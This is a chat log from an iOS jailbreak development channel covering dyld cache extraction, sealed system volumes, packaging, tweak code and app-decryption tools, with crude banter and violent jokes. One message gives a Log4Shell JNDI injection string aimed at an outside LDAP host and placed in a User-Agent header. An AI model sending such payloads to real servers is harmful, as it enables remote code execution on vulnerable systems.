#development
1 messages · Page 537 of 1
oh sick
it was sun microsystem’s thing so probably something more popular in SunOS
As of September 2017, the latest commercial high-end SPARC processors are Fujitsu's SPARC64 XII (introduced in 2017 for its SPARC M12 server) and Oracle's SPARC M8 introduced in September 2017 for its high-end servers.
Why not
On Friday, September 1, 2017, after a round of layoffs that started in Oracle Labs in November 2016, Oracle terminated SPARC design after the completion of the M8. Much of the processor core development group in Austin, Texas, was dismissed, as were the teams in Santa Clara, California, and Burlington, Massachusetts.
rest in piss
ldid m68k 
procursus powerpc
although tbf i question whether most build tool shit would even be able to run on a 7k watch
lemme check the specs again
how much memory does the watch have
oh that’s reasonable
judging from ipsw size, 6gb of that is OS
now that seems unnecessary

and probably more than half of that ram is getting eaten up by OS as well
yes
they added so much shit to the dyld cache by iOS 15 it literally broke

they had to split it back into smaller pieces to get it to load
apple moment
i dont think anyone (maybe ida has by this point?) has gotten the new DSC format down yet
only if you target iOS 15+ only
and they haven't put out source either
ipsw has
It'd be cool if dyld could support separate images for each library that get loaded when needed and unloaded when not needed, but that's a little far fetched
thought the ipsw guy did
does it reverse the optimizations yet tho
Not yet 
no diea
all I know is that you can pull raw binaries from it
used it to add iOS 15 support to my tweaks
they shot us their RE on it, no idea if they've gotten it working
anyways cool project
https://github.com/arandomdev/DyldExtractor/issues/15 what we know so far-ish
lowkey am waiting on arandomdev bc i dont want to come in and fuck up their codebase they've worked so hard to clean up
@ocean raptor still waiting on you for this
to be fair it’s python so i could probably do it but you’re cam and that seems more fun
it'd be rough for someone new to the codebase tbh
Ghidra supports the new format
we both crafted our own C struct system instead of using the builtin struct shit
for some reason
@restive ether Work on open which should be relatively easy, or learn python and machO formats
oh i just meant the makefile
but you do you dog if you wanna learn python be my guest
makefile for python?
yeah the procursus makefile
lazy
not doing that is far more work
it install_requires=['progressbar2', 'capstone==4.0.2'],
do those even build on ios
no idea about capstone
if progressbar is a compiled python lib then fuck everything
capstone needs to be compiled
capstone is required for https://github.com/arandomdev/DyldExtractor/issues/27
Absolute PITA when using DyldExtractor in a pyenv
my python on my arm laptop cant even handle any compiled deps
very stable OS
sole reason that ktool has a "no compiled dependencies" rule
tbf, the windows python actually handles it fine, the ubuntu WSL1 arm python just shits itself
could probably install an old commit from gh
pip3 install --force-reinstall git+git://repo-url
some syntax for getting a specific commit
1.0.4 shouldn't require capstone
been meaning to ask about a capstoneless branch bc the capstone code does this to my dump action
why brew suck
good point
doing a little trolling with procursus actions
@grim sparrow how is your memory trolling doing
just use shshd 
Hello I have a technical question about SSV. Can jailbreak developers interact with the root volume in the csrutil command line tool? Because it allows tagging of custom snapshots using apfs_systemsnapshot
I don’t think csrutil exists in iOS, could be wrong though
it does not
Just put it in 
might exist in switchboard but i doubt it
Unless someone finds an iOS 15-esk build that will remain unanswered ig 
I don't see it in this 12 internal
L
Is there something similar to that in iOS?
are there any lower signed ipsw versions for iphone 6s? currently having trouble downgrading a non jailbroken device. Im sorry if this is the wrong section to ask for help
No
guess that makes sense since ios doesn’t really have a sip
since there’s no reason for it
I was gonna say it could be because it isn’t on apfs yet, then I remembered ios switched to apfs on like iOS 10 
Just delete the message and move on smh
10.3
Yeah
hey man, once again i apologize. I dont pay attention to the top of the screen
Just pay attention 
Thank you
but the SIP layer of things doesn’t exist i suppose, so you have more issues than just that basic fact in itself
Watch csrutil capability just appear in the next dev beta 
I mean yeah they probably do, but just completely and utterly enforced
Wishing on a star
I mean people were wishing on a star about things the likes of checkm8 before it released 
You never know
when apple inevitably gets cucked in like 5-6 years and they have to open up their OS then you’ll see csrutil on iOS
didn’t they win the epic lawsuit though
They’ll just add an nvram variable to turn it off 
i’d like to note how ugly the nvram source code is
Wasn’t there like, multiple apple vs epic?
And don’t forget right to repair
right to repair is entirely different
Lmfao
Purple restore public edition
iPhone 5s’s with the iTunes error
oh they had a similar issue in the 9 era
where it kept yelling at you
and i don’t think you could restore
Don’t they still make purplerestore?
also another interesting thing is so 3rd party displays won’t start up on semi untethered jailbreaks
you can just like
ask someone who works at any apple store
Broken Ear piece speakers making devices bootloop 
well i got some news for you
Is that a thing?
pretty sure he’s a genius now
I’ve seen it happening on a few devices, it’ll either bootloop or just make the display go black after startup
Weird/interesting
So to get around the new sealed system volume would need an rootless environment or an exploit? 🤔
yeah good luck getting an SSV exploit
Rootless environment 
RootlessJB back from the dead
SSV in the greater scheme of things is a good thing
Unless you modify root
you take ten thousand pictures
and your phone bootloops
idk
it’s been awhile
i saw it happen on 13 at least
was a long standing issue
way more common in hfs days
HFS skill issue
average hfs user when they run out of space after installing one tweak
Average HFS user
thank you apple for not open sourcing your basic command line tools, that made cameron have to write C code and lose sleep 🙏🙏🙏
Kek
Okay question about that, aren’t there some major disadvantages in not having root privileges in root when jailbreaking? Or do most modern tweaks now not need root to work?
not really i don’t really see much of an issue
you won’t lose much
as long as you can still bypass amfid then life will go on
i think you can work around that
What types of tweaks use those? I never heard of them besides like iCleaner tool
icleaner doesn’t use a launch daemon
and thankfully this would probably break that dumbass feature in icleaner that disables LDs
Yeah that’s true
C is no problem, the issue is CoreFoundation
apple open sourcing CF challenge
Asking for a friend lol but what is amfid? And why do you need a bypass for it?
It's what actually checks the signature
need to kill it so you can run 3rd party binaries
or else you aren’t going to have a fun time, or do anything at all really
valid cryptographic signature?
But isn’t that what SSV does?
Code signature of binaries
SSV checks the hash of an apfs volume against a signed hash
Just make a new hash 
Oh I understand now
The hash is signed apple
If you want to fake it your device would have to be tethered
Rise of the tethered jailbreaks 
i actually made a tethered jb for ios 15
Don't worry we have rootless procursus 99% there
spoofing strings 💀💀
Literally [redacted]
Me and the boys with serial number [redacted] phones
I love the name: Not iPhone
not like it matters when they’re still trying to stuff in bind mounts because they’re too scared to do the work for all the broken things

please update your phone that’s incredibly cringe
t
No 
L
We shouldn't, you can launchctl load from any arbitrary path
Oh, you're right
We can just have the jb do that though
Yes
Don't really see an alternative
@restive ether I'm not gonna do my open(1) clone anymore, gonna do a launchctl clone instead 
@midnight leaf can you make sure all your control files have a newline at the end? it is required or your packages won't install
Lots of stuff is still susceptible
yeah they use that in so much
especially in state, federal and other highly susceptible industries
lmao
Mozilla/5.0 (${jndi:ldap://beerpsi.me}; rv:94.0) Gecko/20100101 Firefox/96.0
sliding log4shell into my UA
Did not ask
did not ask for your response either
Did not ask for your response to my response
your mom asked
joe
tired: this
wired: install lldb on device and run it there
[[lldb]] 
i should feel shame for how much I milked the events surrounding log4shell in my final paper, but honestly, I don’t
i put syntax highlighting
in a paper
ahahah oh dear
hacker man
xcode gui is so much more efficient tho + it’ll auto fetch dsyms from .theos/obj/
iOS 14 jailbreaks with working debugging challenge
actually concerning if somehow log4j is involved in the pipeline of “send the contents of User-Agent back to the client”
is this the place to get help on tweak development
hello we are profesional twek devlopers
professional tweakers
professional twerk team
@azure sail alfa, i have a bigger question
how are you planning on updating the breadcrumb
good question
updating it every second in sync with timer seems overkill?
hm

is that tweak that shows the app icons in the breadcrumb open source?
tbh what does open source mean
source code is available for everyone to see and use
yup.
that's just source-available
it means the code sucks
no license = all rights reserved
True...
yes thsi one
is that open sourced
anyone want to play halo
sure
Source-available
what that
what do you do in monster hunter

yes
@azure sail oof, UIStatusBarBreadcrumbItemView. this is removed in ios 12

this tweak do be from 2017
true, i remember using it on my 5S
Imagine using whiptail instead of bsddialog smh
What do you mean
It either returns true or false, how can it be wrong
Returns true even though it didn't write, gotta look into it more though
My defaults is 100% finished now
The apple internal defaults command does the same so I'm not gonna worry about it, seems to be an iOS thing
what’s wrong with a 250 gb project folder
and dont forget the baNaNa
@hardy glen

wot
you know what you did,
do not decline

NEW: Apple's AirTags and Find My network app is available on Google Play. No Apple acct needed. Detects Find My trackers nearby aren't w/ their person https://t.co/tUdrEsMm3K
125
This may be easier to reverse/backport than Sharing
oh hey
that's really nice of apple
real
fake
news
america 2021 colorized
i installed it now
it has 2 stars on play store
K

just got my free nitro
Congrats
Who here knowledgeable with UI
praise be allah
i learned how to make a ui like 3 days ago
im basically a pro
I know html 🙂😃😀
I meant to try it out haven't gotten to it yet
wut repo
das rly cool
:D
i was so mad when I found out android gets a native app while we get react 
wtf
good they switche d back to parcility

smol fr
Did you literally come back to complain about it not being from parcility yesterday?
Well i wanna present a view controller with pull down gesture enabled with background not being dimmed. I can use form modal style but the main thing is the background is dimmed
See the difference
The top doesn’t have the background dimmed but the pull down gesture is disabled
Because I am using over context
@tepid olive Hey guess what, tweaks still use canister from the bot :P #bot-commands message
did you literally come back to be a little bitch
I guess I have to use custom modal style and do some shit
I never left like you did yesterday cause you were mad that the bot switched to canister for tweaks: #jailbreak message
I have a feeling all the UI questions is something Amy can answer lmao
where
until one minor bug is fixed, get ready to be mad again
So I have a question if anyone is able to answer in technical detail but what are union mounts and bind mounts? Is this method only able to work with checkra1n or can the others use bind mount as well?
union mounts don’t exist in ios 15 anymore
And when checkra1n teams says they are going to write code to create a new volume I thought volumes where locked down with SSV
It is but it’s checkra1n, they can run code before iOS boots
So even before SSV does a volume check? They can get around that
that wouldn’t be the rootfs so SSV doesn’t apply
i suppose that’s how that would work
But bind mount is in iOS 15?
All the technical side of this is quite interesting. That’s why I ask. Because I love learning more about the technical side of things
apparently that’s not a well accepted idea like you’d think
considering check insists on using bind mounts
instead of a universal way that’s portable
L
Looking it up online only talks about Linux using it
except you don’t have parity across systems
Why you got such a problem with the filesystem? Lol
because devs are stupid
and don’t cleanup their files
so they’re just all over the place
and if they don’t name them obvious enough you don’t know if it’s system or jailbreak
sigh that’s what preboot would’ve accomplished
That sounds like a fun time trying to figure out what is iOS or jailbreak
Facts!!!
Where all the tweak files/preference bundle shits/ resources are saved as well.
Uninstalling would be 1000 times simpler
@grave sparrow you be spending the next 10 years cleaning that mess up lol
Yea that’s a good idea. Focusing on the next important thing. Thats kinda what im doing
why cant i find any information whatsoever on canister online
Same
/private/preboot/procursus
too bad dyld doesn’t like rpath, that would’ve been fun
Having shit written down makes shit so much easier
Yup
I also keep a pen and paper around if im working with alogos just to visualize it
If i get confused
I have one
Except i have the 8th gen ipad with a fake apple pencil

Oh nah vectors and matrices
why
? What you mean why
parcility is proprietary too, you aren’t going to find anything about it either
i don’t get it
i can at least find its fuckin website
well it doesn’t have a website?
cool
what about it
i’m talking about canister
it doesn’t have a website so what would you find
Canister is just api afaik
@next wadi balls
more than parcility
ok but how many
Nice ended off the semester with all 4 As
i’m not counting
I literally got a 90.0% in calculus
why is it so fucking shit
balls
there is no documentation or informations about it anywhere online
canister was made by one person in a day
because there’s not supposed to be?
parcility was made by a whole ass team over months
and parcility STILL sucks ass
u thought u ate that
💀
canister isn’t public lmfao why would there be docs
why does it exist


go ahead update your database
after months
GO AHEAD
fr
if its not public how the hell are you supposed to do this
parcility sucks ass
^
I would just ask tale
is that alpha’s icon
i haven’t seen that one
oh hey i did all these repos
ok?
canister has 163 less repos than parcility
@next wadi yo who gave that mf the slug aids
you have 163 less bitches than the average american /s
bro idk add them urself
make a pr
you mean the 163 piracy repos i removed

troll’
!
@gentle crescent i have a feature idea
what if we add all the piracy repos from the canister piracy list to the filter
so it autofilters them
how
???????
you add a repo to that json
and make a pr
it gets merged and automatically gets indexed
that simple
how the fuck do i make a pr when its closed to prs
pirate the source if its closed to prs, ez
Hai dan
no there’s two
it didn’t get caught in the duplicates check
🚎
wtf
there is no pr tab

f
so i don’t think so
don’t think he does either
wtf
@next wadi there fix that too
I will when i get access
n
fr
is my repo on it
you guys all piss me the fuck off
it’s there
Why are you here then?
do you want me to leave again
yes
leave
Yeah
Yes please
How come you have no roles?

Yep, lol
nerd
@indigo peak it doesn’t seem to register all the numbers, for example if you do 5 + 5 + 5 = 15 it only remembers the last 2 (5+5=15)

and youre checking what 5 + 5 is
Timezones exist
5+5 is 15 confirmed
Go mind your own business 
But you’re right, I could’ve done this at 4 am
5+5=15
Real
Well, I have basic dynamic runtime linking working between MachO Mac executables and ELF shared libraries on #airyxOS! Code written in C will run so far. ObjC tests are still crashing. (Probably bc I haven't implemented all binding opcodes yet.)
damn nice
for research purposes it’ll probably be nice
Hi guys, I'm working on the Random Roles feature for my werewolf game. Assume that we ignore the balance of the game, just pick randomly.
Curently, my idea is to use 2 arrays, one is for roles that can duplicate, the other array is for roles that can be picked once time only. I gonna random among these 2 arrays to pick out random roles and then I'll push and have a set of random roles. Anyone has a better idea?
do I use zstd instead of xz for a speed gain of 1.6 seconds
You can’t if you plan to distribute to the much larger Elu jailbreaks
i mean im not doing packages
i am doing another checkra1n distro so i have the freedom to choose whatever compression method
¯_(ツ)_/¯
give it a year checkrain is gonna be as fragmented as linux
why aren't you working on checkviathan with me
what we got, bootra1n, ra1nstorm, checkn1x, odysseyn1x, infinity
then my distro 
checkra½n
checkra cos(0) n

yes because xz isn't really worth it
the difference in ratio doesn't really make up for the speed
pie
sohcahtoa
you spelt your name wrong
sine pi
the team already seems like that so
least the source repo forks won't ever get fragmented
checkra1n open source date looking like the JWST launch date at this point
@lime pivot So how do you want to handle the conflict for defaults? Should I just setup a dpkg-divert in my package or do you want to rename your as defaults-cephei and we both setup update-alternatives?
postinst:
#!/bin/sh
if [ "$1" = "configure" ]; then
update-alternatives --install /usr/bin/defaults defaults /usr/bin/defaults-cephei 10
fi
prerm:
#!/bin/sh
if [ "$1" = "remove" ]; then
update-alternatives --remove defaults /usr/bin/defaults-cephei
fi
That's why I use FreeBSD, it's one full operating system, not GNU+Linux+systemd+maintainers
this is true
%hook SpringBoard
-(void)applicationDidFinishLaunching:(id)application {
%orig;
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(handleRouteChange:) name:AVAudioSessionRouteChangeNotification object:[AVAudioSession sharedInstance]];
}
%new
-(void)handleRouteChange:(NSNotification *)notif {
NSDictionary *dict = notif.userInfo;
AVAudioSessionRouteDescription *routeDesc = dict[AVAudioSessionRouteChangePreviousRouteKey];
AVAudioSessionPortDescription *prevPort = [routeDesc.outputs objectAtIndex:0];
// do funny code here to detect when headphones are plugged in
}
%end
I'm using this code to detect when wired headphones are plugged in to a device, and i was previously doing if ([prevPort.portType isEqualToString:AVAudioSessionPortHeadphones]) to detect when the headphones are plugged in, but it also triggers for airpods
anyone know how to make it so it only detects for wired headphones
you can probably do something with IOKit
tldr
tldr AVAudioSessionPortHeadphones works for both wired headphones and airpods, meanwhile i just want it to work for wired headphones
that makes sense
no it doesn't
an output to wired headphones
last time i checked
airpods aren't connected by a wire
Bruh that hook should not exist
You should be able to add your observer in the ctor directly...

but do you have any ideas
other than fixing the hook
because i can't figure out this iOKit shit
but i probably should, because it also triggers on the launch of any camera app

don't fr me

dgh0st's fr is bigger
log the entire userInfo out, it might have other useful keys
I’m assuming you have both wired and wireless to test it with
yes, i have apple's wired lightning earpods and airpods
im pretty sure all of the keys are the same
aw boo
like without comparing dynamic things, such as device names, uids etc
i tried checking for internal microphones, and airpods also triggered that
lightning earpods identify themselves don’t they?
it’s not just something generic like “lightning audio device”
not through AVAudioSession
im checking all the nsnotifications sent through the device right now
trying to find another class that might work
i think accessoryd might work, but its not a nsnotification
but i have no idea how i would hook that and get what i need
only reason i think it might work, was when i did just oslog on my device
i got that
but im not sure how i would use that to my advantage
connectionType?
but like im not sure how i could even go about getting to the connectiontype
Oh thats default logs
i think i mightve gotten something
You could register for that CoreAnalytics event and look at the userInfo (assuming thats what that eventDict is referring to)
shameless chariz plug
how do i use a private framework
🔌
this hold music is shit
my b
i need a good adblock safari extension help a brotha out
Pihole
@lime pivot when are you going to make safari extension theos template

AdGuard
your mother
ok that's actually not a bad idea
your mom is dumb
Ublock origin safari 
sad that’s a dead project
I'm gonna tell your mom that you called her dumb
i try my best
noooo
I mean Google is only killing off Manifest V2 fully in 2023 IIRC but Apple also has limitations that would make uBO less effective
@lime pivot NSConcreteNotification 0x283ccaa60 {name = AVSystemController_HeadphoneJackIsConnectedDidChangeNotification; object = <AVSystemController: 0x2832042a0>}
i got that in a log
and it works
but
so use it dog

nothing wrong with that
@lime pivot in case you missed it
netctl is like half private frameworks
oh, yeah I was meant to respond
I just need to make sure saurik dpkg has update-alternatives
if not… idk what
does sam’s even have it
yes
Saurik moment
pls, I’ve been wanting to make a safari extension but I don’t want to install Xcode lmao
Just drop iOS 5 support smh
yeah i mean
unless you got some memory leaks to fix
ios 5 probably ain’t getting much anyways
@lime pivot hi
hi
time for cephei swift for 14+ 🙄
unfortunately iOS 5 - 14 cephei is the one everyone is using right now so it's gotta work there
man I really couldn't make it to 10 iOS versions supported
Apple had to do that to me

can’t believe you put yourself through the stress of supporting 9 versions to begin with
sooper sekrit stuff
stress? nah it's fun
thank you for your insight 
I mean it was easy to support such a wide array of versions until Apple did the arm64e ABI trash
that ruined the fun
what did they even change for it to be ABI incompatible
@silver rampart
i don’t trust people who go to chicken school
well, for starters, they added the e at the end (which stands for estrogen)
compile one slice with 12, rest with 11, lipo them together
arm64 femboy edition
arm64epic
AVSystemController has a notification named AVSystemController_HeadphoneJackIsConnectedDidChangeNotification, but has no way to detect how it changed
like
what

Don't care 
and i wont care when you leave the server again in ~20 minutes
F

we need to exterminate all jailbreak developers
oh my fucking got it actually worked
i have begun convincing developers to join my far right paramilitary organization stationed deep in the amazon rain forest
%hook SpringBoard
static BOOL connected = NO;
BrokePodsConnectionViewController *vc;
-(void)applicationDidFinishLaunching:(id)application {
%orig;
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(handleRouteChange:) name:@"AVSystemController_HeadphoneJackIsConnectedDidChangeNotification" object:[AVSystemController sharedAVSystemController]];
}
%new
-(void)handleRouteChange:(NSNotification *)notif {
if(!connected) {
vc = [[BrokePodsConnectionViewController alloc] init];
[[UIApplication sharedApplication].keyWindow.rootViewController presentViewController:vc animated:YES completion:nil];
connected = YES;
} else {
[vc dismiss];
connected = NO;
}
}
%end
:D
broke ass

real
h
i told you it wasn't a serious tweak
There is literally only 1 line of code that isn't hacky
Can't be worse than loading a giant framework for one class
oh hey this is something I can help with https://github.com/hbang/Plugication/blob/master/Tweak.xm
no need to use CF notification API like I did there tbh
trolley
don’t worry about it
you deadass get that AFTER I like, struggled for all of 30 minutes
:woecry:
this is like, optimally written
do you have anything worthwhile to say or are you just going to . like an idiot
.
.
.

all of you are blocked

what about me
Can I get a green version of that?
can we speed up these 7 days
finally
this isnt a dm though
that means we all die if not everyone dm it to someone else
what do you want me to use
github copilot generated that for me
so
nahhhhhhhh
look at it
isn't it cursed beautiful
Its so bad I wouldn't even download that on an android user's device
wtf
words hurt man
sorry not sorry
tweak.troll
ios15.sdk/download
MineCraft Consulting is a professional engineering consultancy providing mining engineering, and project management services to the Australian coal mining industry. Based in Brisbane, Australia, MineCraft specialises in underground coal and open cut coal mine engineering and provides project management and support to all mining projects.
I'll attach debs to that release when it's updated on procursus
I’m gonna do it
I’m gonna make every UIView animation linear
no curves
just linear
ratio
linear automation software
nah
why
I prefer zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzDeez
i agree
that’s a skill issue
that’s only not going to work if you use substrate so
actually just a skill issue
your idea seems more convoluted then a simple working solution
but this wouldn't work for something like choicy
if two tweaks depend on nothing what will it go off
so what you've done is make a convoluted system which has the same flaw
not really
the solution to the other half is how you solve the first part
as of now, nothing
Ask the user which dylibs to load first, upon every respring
Seems intuitive enough, and will work perfectly!
stop
stop
stop
stop
sto
psto
ptgfdoikgj
nah
you'd get too many brainlets doing it wrong
better idea: just dlopen what you need to come first
when you absolutely must load first is the only exception, seems totally fine to me
see also /etc dirs on Linux with numeric prefixes to order what happens when
/etc/grub, /etc/motd.d, /etc/sysctl.d
@lime pivot very cursed: https://github.com/donato-fiore/brokepods
yo
I think instead of UIKitImage() you can just use [UIImage kitImageNamed:] @indigo peak
not sure if that even still works
basically everything interesting was in kit images back before the Assets.car days
well i would've used a SF Symbol, but i wanted sub iOS 13 support
// This is the most cursed code, please don't judge me seems fine to me
i should've put that at the top of the file
and not just before the horrible springboard hook
heheh
i have to start putting disclaimers like krit does
// GLOBALS ARE BAD, I'M JUST INCREDIBLY LAZY
// 3 am tweak request
// 2021 update: yep code still shit
//```
// Note: I have no idea what I’m doing, please don’t judge or trust this code```
Average day coding
adding this to all my projects
all of my tweaks are going to have a disclaimer on the repo depiction "if there is a bug, sucks to be you, it works on my machine"
the guy at the amazon returns department inspecting the pliers i used to rip my toenails off:
what does the cp stand for
christmas penis
Christmas Penis, Totally
Litten mindset 
is this blender or microsoft wordart
definitely google slides word art
cock and penis torture
true
the CPT Corporation

a faceless multinational conglomerate that does… something, idk, nobody knows what exactly
c🅱️t
when asked why the stock price was falling, the ceo just said "pac" over and over
# Replace coreutils with their busybox equivalents
busybox --list > busybox-programs
while IFS="" read -r p || [ -n "$p" ]; do
if [ -z $(which "$p") ]; then
ln -s /usr/bin/busybox /usr/bin/$p
continue
fi
ln -sf /usr/bin/busybox $(which "$p")
done < busybox-programs
screw coreutils 
funny
you could technically remake mobius by observing NSNotifications that are sent with controlling the pagination of the homescreen?
I could technically remake you by sending NSNotifications to your moms iphone

one of the dumbest interactions i have ever seen lmao

holy fuck lmaoooo
zebra
bruh
not sure what proof they have that “so many of our customers” can’t use the primary feature of our service
what’s the best way to get app icon with bundle ID. Is using applist the recommended way
Chariz customers are signing up instead of signing in
chariz literally recommends zebra
if anything 100% works with zebra, it's chariz
~~maybe because the maintainer for both is the same
~~


it is the primary package manager I test with especially because authentication in Cydia remains a horrible hack
(and I know Sileo should work roughly the same)
[UIImage _applicationIconImageForBundleIdentifier:@"bundle.id" format:0 scale:[UIScreen mainScreen].scale]
wtf
wtf
What?
@interface UIImage (Private)
+ (instancetype)_applicationIconImageForBundleIdentifier:(NSString*)bundleIdentifier format:(int)format scale:(CGFloat)scale;
@end
So I understand the concept, but I am not sure how to code it since I am not that smart. I need to use AVAsset to get the URL/path of a cached video/image file. but thats where I get lost. Could anyone give me a hint?
Thanks a lot
I am confused on what you are asking
It has init with url
do these still work?:
https://github.com/KJCracks/Clutch
https://github.com/stefanesser/dumpdecrypted
also, what's the currently recommended tool for this?
Fast iOS executable dumper. Contribute to KJCracks/Clutch development by creating an account on GitHub.
Flexdecrypt

Brings back memories
But yes we all use flexdecrypt now because it doesn’t require app launch
Or https://github.com/paradiseduo/appdecrypt, but tbh I'm not sure if this works
mremap_encrypted
updating https://iphonedev.wiki/index.php?title=Reverse_Engineering_Tools bc it's mostly outdated
there’s also that fouldecrypt one which looks interesting
not sure if it works though
this particular repo has been replaced with a 'deprecated' notice for the last 6 years

if anyone has any other things they feel should be added to this page, @ me, and if anyone knows of any other pages on the wiki desperately needing updated, also @ me
you should add ipsw
it has its own section
added it outside of all the other sections bc it does all of them
ah
^ if someone wants to test that
@ocean raptor your turn big guy
might be useful to add discord handles to this: https://iphonedev.wiki/index.php/Developer_Directory
although its kind of a silly page, honestly
ah yes a harassment directory
main page needs redone so badly
trainwreck trying to find where any information is on this page
What
added to my kill list
wanna test this? #development message
I don't know how
no, recursive functions are recursive functions
defaults has recursive funcs











inc